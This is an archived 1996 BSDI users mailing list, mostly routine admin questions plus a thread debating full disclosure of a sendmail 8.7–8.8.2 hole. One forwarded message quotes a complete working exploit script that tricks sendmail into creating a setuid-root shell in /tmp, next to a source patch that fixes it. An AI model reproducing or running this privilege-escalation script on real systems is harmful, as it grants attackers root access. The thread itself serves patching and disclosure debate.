NetBSD. http://www.openbsd.org/ From VM Sat Nov 16 18:30:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["193" "Sat" "16" "November" "1996" "16:11:26" "-0600" "Raymond Jolin" "ray@intellisys.net" nil "8" "Sendmail timestamp" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA04105 for ; Sat, 16 Nov 1996 17:16:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA27005 for bsdi-users-outgoing; Sat, 16 Nov 1996 17:11:35 -0500 (EST) Message-ID: <01BBD3D8.D3E7C880@ray> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Precedence: bulk From: Raymond Jolin Sender: owner-bsdi-users@lists.gateway.com To: "'BSDI Users'" Subject: Sendmail timestamp Date: Sat, 16 Nov 1996 16:11:26 -0600 Hi=20 I recently applied all the patches to my BSDI 2.1 mail server and now = the timestamp message received is off -6 hours. My system time is = correct CST How do I fix this. Thanks Ray From VM Sun Nov 17 11:05:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2078" "Sat" "16" "November" "1996" "16:29:05" "-0600" "Phong Ta" "phongta1@airmail.net" nil "51" "Re: ps -aux bizareness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA07659 for ; Sat, 16 Nov 1996 19:38:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA27333 for bsdi-users-outgoing; Sat, 16 Nov 1996 19:37:03 -0500 (EST) Message-ID: <328E3F13.7D90@airmail.net> Organization: Tora Network Systems, Inc X-Mailer: Mozilla 3.01 (Win95; I) MIME-Version: 1.0 References: <1.5.4.32.19961115132113.0096f7b8@204.101.127.2> <328C9BE5.3828@ati.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Phong Ta Sender: owner-bsdi-users@lists.gateway.com To: mjudge@ati.net CC: bsdi-users@BSDI.COM Subject: Re: ps -aux bizareness Date: Sat, 16 Nov 1996 16:29:05 -0600 Mike Judge wrote: > > Roch Pageau wrote: > > > > I did a ps -aux this morning and got this fisrt entry dated Dec 31 1969. > > When I try and kill it the system returns that it does not exist. It worries > > me because its running as root. Cannot find any reference in any of the log > > files. > > Any ideas appreciated????? > > > > USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND > > root 7356 0.0 0.0 220 12 p0 RV 31Dec69 0:00.00 (csh) > > root 0 0.0 0.0 0 0 ?? DLs Fri10AM 0:04.60 (swapper) > > root 1 0.0 0.3 144 256 ?? Is Fri10AM 0:31.67 /sbin/init -- > > root 2 0.0 0.0 0 12 ?? DL Fri10AM 0:00.01 (pagedaemon) > > > > Thanks > > > > Roch > I have the same thing once in awhile,,, posted the same question and > did not really get any responses.... If you find out what it is or > caused by please mail me > -- > > ----------------------------------------------------------------- > "PRE"-plannig and "COMMUNICATION" are the path to "SUCCESS" > > Michael J. Judge ATSI Inc. > Systems Administrator 12500 Network Blvd. > (210) 558-6090 Suite 407 > (210) 558-6095 (Fax) San Antonio TX 78249 > mailto:mjudge@atsi.net http://www.atsi.net > -------------------------------------------------------------- Does this process consume any cpu time? It looked to me it is a bogus information from the operating system kernel. You may want to talk to the BSDI developers directly. They may have some insights. To stay on the save side, you may want to replace "csh" by a shell script (eg. Bourne shell, or Korn shell) which would just log some useful messages to your designated log file. This way you know for sure nobody is logging in to your system as root. You may have to reboot the system inorder to clean up the current running "csh" from memory. Good luck. -- Phong Ta email: phongta1@airmail.net From VM Sun Nov 17 11:05:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["854" "Sat" "16" "November" "1996" "06:21:33" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "21" "Help With WWW and FTP setup" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA09026 for ; Sat, 16 Nov 1996 20:33:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA27463 for bsdi-users-outgoing; Sat, 16 Nov 1996 20:33:49 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Help With WWW and FTP setup Date: Sat, 16 Nov 1996 06:21:33 -0700 (MST) Hi. I'm am a recent convert to BSDI, and I am in need of a little assistance. first, I need to set up WWW so individual accounts can have web pages in their personal directories. (ie http://www.tcsourceone.com/~alex/index.html) What needs to be done to allow this? second, Config_anonftp sets up the FTP directory in /var/spool/ftp. I would like to be able to move it to /usr2 (a second drive). Obviously, moving the directory over, and changing the directory info in /etc/passwd is not enough, what else needs to be done? third, (then I'll shut up) I am trying to set up a US Robotics terminal server to use RADIUSD to authorize dial-in access. The information that is packaged with radius describes set-up for a livingston portmaster, but not a USR. Is anyone currently using RADIUS/USR and can you offer any hints? Thanks, Edwin Philips From VM Sun Nov 17 11:05:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["852" "Sat" "16" "November" "1996" "17:56:07" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "8" "Modems Not Echoing" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA09031 for ; Sat, 16 Nov 1996 20:33:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA27451 for bsdi-users-outgoing; Sat, 16 Nov 1996 20:33:35 -0500 (EST) Message-Id: <199611170156.RAA18969@chiba.netxn.com> Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Modems Not Echoing Date: Sat, 16 Nov 1996 17:56:07 -0800 (PST) Hello all. I am having problems with getting my modems to echo back during configuration. I have just recently downloaded and compiled kermit to use with configuring my modems. I have done this on two (almost) iden seems to be working fine on the first machine, but the second machine is not echoing back during set up. I have digi 16/em digiboards on both pc's and both are confgured the same. What I need to know is , is there a certain area I need to check to make sure the echo command is set. What is weird is, I can actually program the modem to the settings I want, and dial out with the modem. But when I dialin I get nothing and I think it has something to do with the echoing problem. Sorry for the long drawn out message. Any recommendations would be greatly appreciated. By the way, I am using BSD 2.1. Thanks. Chris MCglasson From VM Sun Nov 17 11:05:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["650" "Sun" "17" "November" "1996" "12:18:49" "+1030" "David Newall" "davidn@rebel.net.au" nil "14" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA09564 for ; Sat, 16 Nov 1996 20:46:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA27488 for bsdi-users-outgoing; Sat, 16 Nov 1996 20:49:13 -0500 (EST) Message-Id: <199611170148.MAA21325@rebel.net.au> In-Reply-To: <199611162135.NAA07654@threadway.teeny.org> from "Jason Downs" at Nov 16, 96 01:35:15 pm Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: downsj@teeny.org (Jason Downs) Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 12:18:49 +1030 (CST) Jason Downs wrote: > The intelligence of posting the exploit without posting the fix is very > questionable. I disagree! The attitude of not talking about security holes was prevalent before Morris's Internet Worm. Morris exploited long known but hardly discussed faults. Note that one of the faults could be found in many different programs. If they had been discussed, especially to the point of explaining how to exploit them, you can bet that they would have been fixed a heck of a lot sooner; and there's an argument that they would not have become as wide-spread as they did. [Standard disclaimer: These are my private opinions] From VM Sun Nov 17 11:05:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1412" "Sat" "16" "November" "1996" "18:04:16" "-0800" "Jason Downs" "downsj@teeny.org" nil "31" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09846 for ; Sat, 16 Nov 1996 21:02:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA27575 for bsdi-users-outgoing; Sat, 16 Nov 1996 21:04:39 -0500 (EST) Message-Id: <199611170204.SAA08757@threadway.teeny.org> X-Mailer: exmh version 1.6.5 12/11/95 In-reply-to: Your message of "Sun, 17 Nov 1996 12:18:49 +1030." <199611170148.MAA21325@rebel.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Jason Downs Sender: owner-bsdi-users@lists.gateway.com To: David Newall cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sat, 16 Nov 1996 18:04:16 -0800 In message <199611170148.MAA21325@rebel.net.au>, David Newall writes: >Jason Downs wrote: >> The intelligence of posting the exploit without posting the fix is very >> questionable. > >I disagree! The attitude of not talking about security holes was prevalent >before Morris's Internet Worm. Morris exploited long known but hardly >discussed faults. Note that one of the faults could be found in many >different programs. If they had been discussed, especially to the point >of explaining how to exploit them, you can bet that they would have been >fixed a heck of a lot sooner; and there's an argument that they would not >have become as wide-spread as they did. The fix for this particular exploit is trivial and small. It should have been posted at the same time, or the exploit should not have been posted at all. Doing otherwise is silly, and opens up all those machines whose owners can not fix it themselves. I have the same problem with the original author of this particular exploit. There was NOTHING TO BE GAINED by posting it without a fix, all it did was put a *lot* more machines at risk. Doing so was irresponsible, stupid, and makes one wonder about actual motives. -- Jason Downs (503) 256-8535 -/- (503) 952-3749 downsj@teeny.org --> teeny.org: Free Software for a Free Internet <-- http://www.teeny.org/ This ain't no steeenking NetBSD. http://www.openbsd.org/ From VM Sun Nov 17 11:05:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1695" "Sat" "16" "November" "1996" "20:51:15" "-0600" "Chad Scott" "chad@txdirect.net" nil "39" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA11199 for ; Sat, 16 Nov 1996 21:53:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA27729 for bsdi-users-outgoing; Sat, 16 Nov 1996 21:51:31 -0500 (EST) In-Reply-To: <199611170204.SAA08757@threadway.teeny.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chad Scott Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sat, 16 Nov 1996 20:51:15 -0600 (CST) On Sat, 16 Nov 1996, Jason Downs wrote: > The fix for this particular exploit is trivial and small. It should have > been posted at the same time, or the exploit should not have been posted > at all. Doing otherwise is silly, and opens up all those machines whose > owners can not fix it themselves. Funny how you'll bicker amongst yourselves for days, yet never post the fix. You've obviously seen it, or know where to get it, or actually have it, so why aren't you posting it? I'd be interested in fixing this vulnerability, as I'm sure many others would. > I have the same problem with the original author of this particular exploit. > There was NOTHING TO BE GAINED by posting it without a fix, all it did was > put a *lot* more machines at risk. Doing so was irresponsible, stupid, and > makes one wonder about actual motives. This I agree with, and as you remember I posted the possibility of a vulnerability to the X libraries some time back, but I did not post the exploit. I did offer it to BSDI and a few members of the list, but I did not post it in the public forum. I'm sure his motives and intentions were positive. Personally, if I had an exploit script and I intended on USING it, I wouldn't post it to the mailing list of the OS it worked on. At any rate, does anyone have a fix for this? If you do would you please be so kind as to post it for the rest of us (or better yet provide the URL). Thanks, Chad Scott | chad@txdirect.net Systems Administrator | Voice 210-308-9800 Internet Direct, Incorporated | FAX 210-308-9240 ---------------------------------------------------- Finger chad@txdirect.net for PGP Public Key From VM Sun Nov 17 11:05:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1456" "Sat" "16" "November" "1996" "19:51:35" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "33" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA12837 for ; Sat, 16 Nov 1996 22:51:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA27885 for bsdi-users-outgoing; Sat, 16 Nov 1996 22:52:14 -0500 (EST) Message-Id: <3.0.1.32.19961116195126.006b0c98@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Jason Downs Cc: David Newall , bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sat, 16 Nov 1996 19:51:35 -0800 At 06:04 PM 11/16/96 -0800, Jason Downs wrote: >In message <199611170148.MAA21325@rebel.net.au>, David Newall writes: >>Jason Downs wrote: >>> The intelligence of posting the exploit without posting the fix is very >>> questionable. >> >>I disagree! The attitude of not talking about security holes was prevalent >>before Morris's Internet Worm. Morris exploited long known but hardly >>discussed faults. Note that one of the faults could be found in many >>different programs. If they had been discussed, especially to the point >>of explaining how to exploit them, you can bet that they would have been >>fixed a heck of a lot sooner; and there's an argument that they would not >>have become as wide-spread as they did. > >The fix for this particular exploit is trivial and small. It should have >been posted at the same time, or the exploit should not have been posted >at all. Doing otherwise is silly, and opens up all those machines whose >owners can not fix it themselves. > >I have the same problem with the original author of this particular exploit. >There was NOTHING TO BE GAINED by posting it without a fix, all it did was >put a *lot* more machines at risk. Doing so was irresponsible, stupid, and >makes one wonder about actual motives. > Now we have had two people ranting about how irresponsible it is to post the exploit without the fix, but neither deemed it appropriate to post the fix themselves. How 'bout it guys? -Kent- From VM Sun Nov 17 11:05:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["7172" "Sat" "16" "November" "1996" "20:06:18" "-0800" "Jason Downs" "downsj@teeny.org" nil "179" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA13117 for ; Sat, 16 Nov 1996 23:03:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA27920 for bsdi-users-outgoing; Sat, 16 Nov 1996 23:07:05 -0500 (EST) Message-Id: <199611170406.UAA09365@threadway.teeny.org> X-Mailer: exmh version 1.6.5 12/11/95 In-reply-to: Your message of "Sat, 16 Nov 1996 19:51:35 PST." <3.0.1.32.19961116195126.006b0c98@popgw.firstdata.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Jason Downs Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: David Newall , bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sat, 16 Nov 1996 20:06:18 -0800 In message <3.0.1.32.19961116195126.006b0c98@popgw.firstdata.com>, Kent Ketell writes: >At 06:04 PM 11/16/96 -0800, Jason Downs wrote: >>In message <199611170148.MAA21325@rebel.net.au>, David Newall writes: >>>Jason Downs wrote: >>>> The intelligence of posting the exploit without posting the fix is very >>>> questionable. >>> >>>I disagree! The attitude of not talking about security holes was prevalent >>>before Morris's Internet Worm. Morris exploited long known but hardly >>>discussed faults. Note that one of the faults could be found in many >>>different programs. If they had been discussed, especially to the point >>>of explaining how to exploit them, you can bet that they would have been >>>fixed a heck of a lot sooner; and there's an argument that they would not >>>have become as wide-spread as they did. >> >>The fix for this particular exploit is trivial and small. It should have >>been posted at the same time, or the exploit should not have been posted >>at all. Doing otherwise is silly, and opens up all those machines whose >>owners can not fix it themselves. >> >>I have the same problem with the original author of this particular exploit. >>There was NOTHING TO BE GAINED by posting it without a fix, all it did was >>put a *lot* more machines at risk. Doing so was irresponsible, stupid, and >>makes one wonder about actual motives. >> > >Now we have had two people ranting about how irresponsible it is to >post the exploit without the fix, but neither deemed it appropriate >to post the fix themselves. > >How 'bout it guys? This is how it was posted about to the NetBSD mailing lists... -------- Forwarded Message Received: from mail.NetBSD.ORG (netbsd1.cygnus.com [140.174.6.10]) by threadway.teeny.org (8.7.6/8.6.12) with SMTP id AAA24055 for ; Sat, 16 Nov 1996 00:40:13 -0800 (PST) Received: (qmail-queue invoked by uid 605); 16 Nov 1996 08:36:33 -0000 Received: (qmail-queue invoked from smtpd); 16 Nov 1996 08:36:24 -0000 Received: from didactic.cynic.net (198.73.220.3) by netbsd1.cygnus.com with SMTP; 16 Nov 1996 08:36:21 -0000 Received: from localhost (cjs@localhost) by didactic.cynic.net (8.7.5/8.6.12) with SMTP id AAA01127; Sat, 16 Nov 1996 00:30:30 -0800 (PST) X-Authentication-Warning: didactic.cynic.net: cjs owned process doing -bs Date: Sat, 16 Nov 1996 00:30:29 -0800 (PST) From: Curt Sampson X-Sender: cjs@didactic To: netbsd-users@NetBSD.ORG, NetBSD-current Users Subject: Re: BoS: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2). (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: current-users-owner@NetBSD.ORG Precedence: list Delivered-To: current-users@NetBSD.ORG Here's a patch you'll probably want to apply ASAP. I wonder if we don't need a netbsd-security list so that those people who don't want patches for this sort of thing (if there are any :-)) don't have to see this stuff. cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. Vancouver, BC (604) 257-9400 De gustibus, aut bene aut nihil. ---------- Forwarded message ---------- Date: Sat, 16 Nov 1996 00:15:39 -0800 (PST) From: Curt Sampson To: Leshka Zakharoff Cc: best-of-security@suburbia.net Subject: Re: BoS: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2). Huh. Yet another gaping hole, can you believe it? This is entirely platform-independent, and has not yet been fixed in 8.2.2. Here's the patch to fix it. This was done on 8.7.6; the line numbers may differ in other versions but the patch is the same. ------------------------------------------------------ --- main.c.old Mon Sep 16 12:56:01 1996 +++ main.c Fri Nov 15 23:56:48 1996 @@ -1693,14 +1693,16 @@ sighup() { #ifdef LOG if (LogLevel > 3) syslog(LOG_INFO, "restarting %s on signal", SaveArgv[0]); #endif releasesignal(SIGHUP); + (void) setgid(RealGid); + (void) setuid(RealUid); execv(SaveArgv[0], (ARGV_T) SaveArgv); #ifdef LOG if (LogLevel > 0) syslog(LOG_ALERT, "could not exec %s: %m", SaveArgv[0]); #endif exit(EX_OSFILE); } ------------------------------------------------------ Now who the heck to I send this to to get it back into sendmail? There are no e-mail addresses listed for bug reports in the READ_ME file, or anywhere else for that matter. cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. Vancouver, BC (604) 257-9400 De gustibus, aut bene aut nihil. On Sat, 16 Nov 1996, Leshka Zakharoff wrote: > Date: Sat, 16 Nov 1996 04:10:16 +0300 (MSK) > From: Leshka Zakharoff > To: best-of-security@suburbia.net > Subject: BoS: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2). > Resent-Date: Sat, 16 Nov 1996 17:32:01 +1100 > Resent-From: best-of-security@suburbia.net > > #-------------------------------- CUT HERE ------------------------------------- > #/bin/sh > # > # > # Hi ! > # This is exploit for sendmail smtpd bug > # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). > # This shell script does a root shell in /tmp directory. > # If you have any problems with it, drop me a letter. > # Have fun ! > # > # > # ---------------------- > # --------------------------------------------- > # ----------------- Dedicated to my beautiful lady ------------------ > # --------------------------------------------- > # ---------------------- > # > # Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su > # > # > # > echo 'main() '>>leshka.c > echo '{ '>>leshka.c > echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c > echo '} '>>leshka.c > # > # > echo 'main() '>>smtpd.c > echo '{ '>>smtpd.c > echo ' setuid(0); setgid(0); '>>smtpd.c > echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c > echo '} '>>smtpd.c > # > # > cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c > ./leshka > kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` > rm leshka.c leshka smtpd.c /tmp/smtpd > /tmp/sh > #-------------------------------- CUT HERE ------------------------------------- > > -------- End of Forwarded Message -- Jason Downs (503) 256-8535 -/- (503) 952-3749 downsj@teeny.org --> teeny.org: Free Software for a Free Internet <-- http://www.teeny.org/ This ain't no steeenking NetBSD. http://www.openbsd.org/ From VM Sun Nov 17 11:05:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["593" "Sat" "16" "November" "1996" "21:55:20" "-0700" "Richard Ryan" "rryan@blackhills.com" nil "17" "Sendmail: Patch and a problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA14472 for ; Sat, 16 Nov 1996 23:59:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA28008 for bsdi-users-outgoing; Sat, 16 Nov 1996 23:55:34 -0500 (EST) Message-Id: <199611170455.VAA02011@bhost.blackhills.com> Comments: Authenticated sender is Organization: Internet Services of the Black Hills, Inc. MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42a) Precedence: bulk From: "Richard Ryan" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Sendmail: Patch and a problem Date: Sat, 16 Nov 1996 21:55:20 -0700 I received a simple 2 line patch that is supposed to fix the bug. It's at: (Note "S" in Sysadmin) Now my problem (also sendmail) Last time I compiled 8.7.x I got "undefined symbols" in domain.o and main.o with BSDI 2.0 using binaries. I think I had to add/delete something but my notes have disappeared in an office move. I found that turning off NAMED_BIND allows a clean compile. Was that what I missed or is there something else | more | instead ? I promise to tatoo the answer on my body to avoid further embarassment. TIA RR From VM Sun Nov 17 11:05:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["831" "Sun" "17" "November" "1996" "00:17:45" "-0500" "Chip Ach" "chip@harvard.net" nil "36" "Accurate patch for sendmail exploit..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA15031 for ; Sun, 17 Nov 1996 00:20:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA28041 for bsdi-users-outgoing; Sun, 17 Nov 1996 00:23:01 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chip Ach Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Accurate patch for sendmail exploit... Date: Sun, 17 Nov 1996 00:17:45 -0500 (EST) Based on the patch that was posted earlier, this is a patch to the sendmail 8.8.2 which does the same thing. (It's the same thing with the right line numbers really...) This isn't an official sendmail patch, etc., just one I created. -Chip Quick intructions: 1. cd into your sendmail 8.8.2 source directory 2. Copy everything below "-----cut here------" and put into a file (let's call it "thepatch". 3. patch 0) From VM Sun Nov 17 11:05:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1285" "Sun" "17" "November" "1996" "00:28:28" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "26" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA15300 for ; Sun, 17 Nov 1996 00:25:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA28064 for bsdi-users-outgoing; Sun, 17 Nov 1996 00:28:56 -0500 (EST) In-Reply-To: <199611170148.MAA21325@rebel.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: David Newall cc: bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 00:28:28 -0500 (EST) > I disagree! The attitude of not talking about security holes was prevalent > before Morris's Internet Worm. Morris exploited long known but hardly > discussed faults... Actually, as I understand it (bearing in mind that I wasn't personally involved), this is a popular myth -- none of the holes that the Worm exploited was particularly well known, even within the development community. Eric Allman's little back door in sendmail was known only to him, and while there was some vague understanding that use of gets() was a bad idea in theory, nobody realized that it could be used for full-scale security penetration, as opposed to just making things crash. (Incidentally, as far as the notion that the problems of gets() in particular were "hardly discussed", you might want to read the Darwin&Collyer paper in the winter 1985 Usenix proceedings, published nearly four years before the Worm.) Morris's lawyers *tried* to make a case that these flaws had been known but ignored, and Morris just wanted to wake people up to them; the court didn't buy it. Neither should we, without better evidence than what they presented. Henry Spencer henry@zoo.toronto.edu From VM Sun Nov 17 11:05:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["939" "Sun" "17" "November" "1996" "13:40:59" "+0100" "cor@xs4all.net" "cor@xs4all.net" nil "22" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA28920 for ; Sun, 17 Nov 1996 08:01:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA00448 for bsdi-users-outgoing; Sun, 17 Nov 1996 08:00:09 -0500 (EST) X-Authentication-Warning: news.xs4all.nl: news set sender to cor@xs4all.nl using -f Message-ID: <56n14p$ckq@news.xs4all.nl> Precedence: bulk From: cor@xs4all.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 13:40:59 +0100 (MET) davidn@rebel.net.au (David Newall) writes: >Jason Downs wrote: >> The intelligence of posting the exploit without posting the fix is very >> questionable. >I disagree! The attitude of not talking about security holes was prevalent >before Morris's Internet Worm. Morris exploited long known but hardly >discussed faults. Note that one of the faults could be found in many >different programs. If they had been discussed, especially to the point >of explaining how to exploit them, you can bet that they would have been >fixed a heck of a lot sooner; and there's an argument that they would not >have become as wide-spread as they did. Read better. He said 'posting the exploit _without_ posting the fix'. I tend to agree with that. There are zillions of sysadmins out there without the ability to dive into sendmail source to fix this themselves. You throw them at the mercy of every loser that is able to run a shellscript. Cor From VM Sun Nov 17 22:01:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["493" "Sun" "17" "November" "1996" "08:18:53" "-0500" "Jay Vassos-Libove" "libove@libove.mindspring.com" nil "12" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA01044 for ; Sun, 17 Nov 1996 11:46:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA00462 for bsdi-users-outgoing; Sun, 17 Nov 1996 08:19:05 -0500 (EST) In-Reply-To: <199611161623.LAA04946@ashanti.webmaster.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Vassos-Libove Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 08:18:53 -0500 (EST) I have tested this exploit on my BSD/OS v2.1 box, which includes the sendmail 8.8.2 upgrade (patch U210-027), and it does not work. I don't know if this is because the exploit was explicitly fixed by BSDi, or if some other environmental factor does it, but it definitely doesn't work here. Jay Vassos-Libove libove@libove.MindSpring.com +1 770 552 0543 home +1 404 705 2867 work Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society SERIS - Enhancing Your Time On-Line From VM Sun Nov 17 22:01:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil 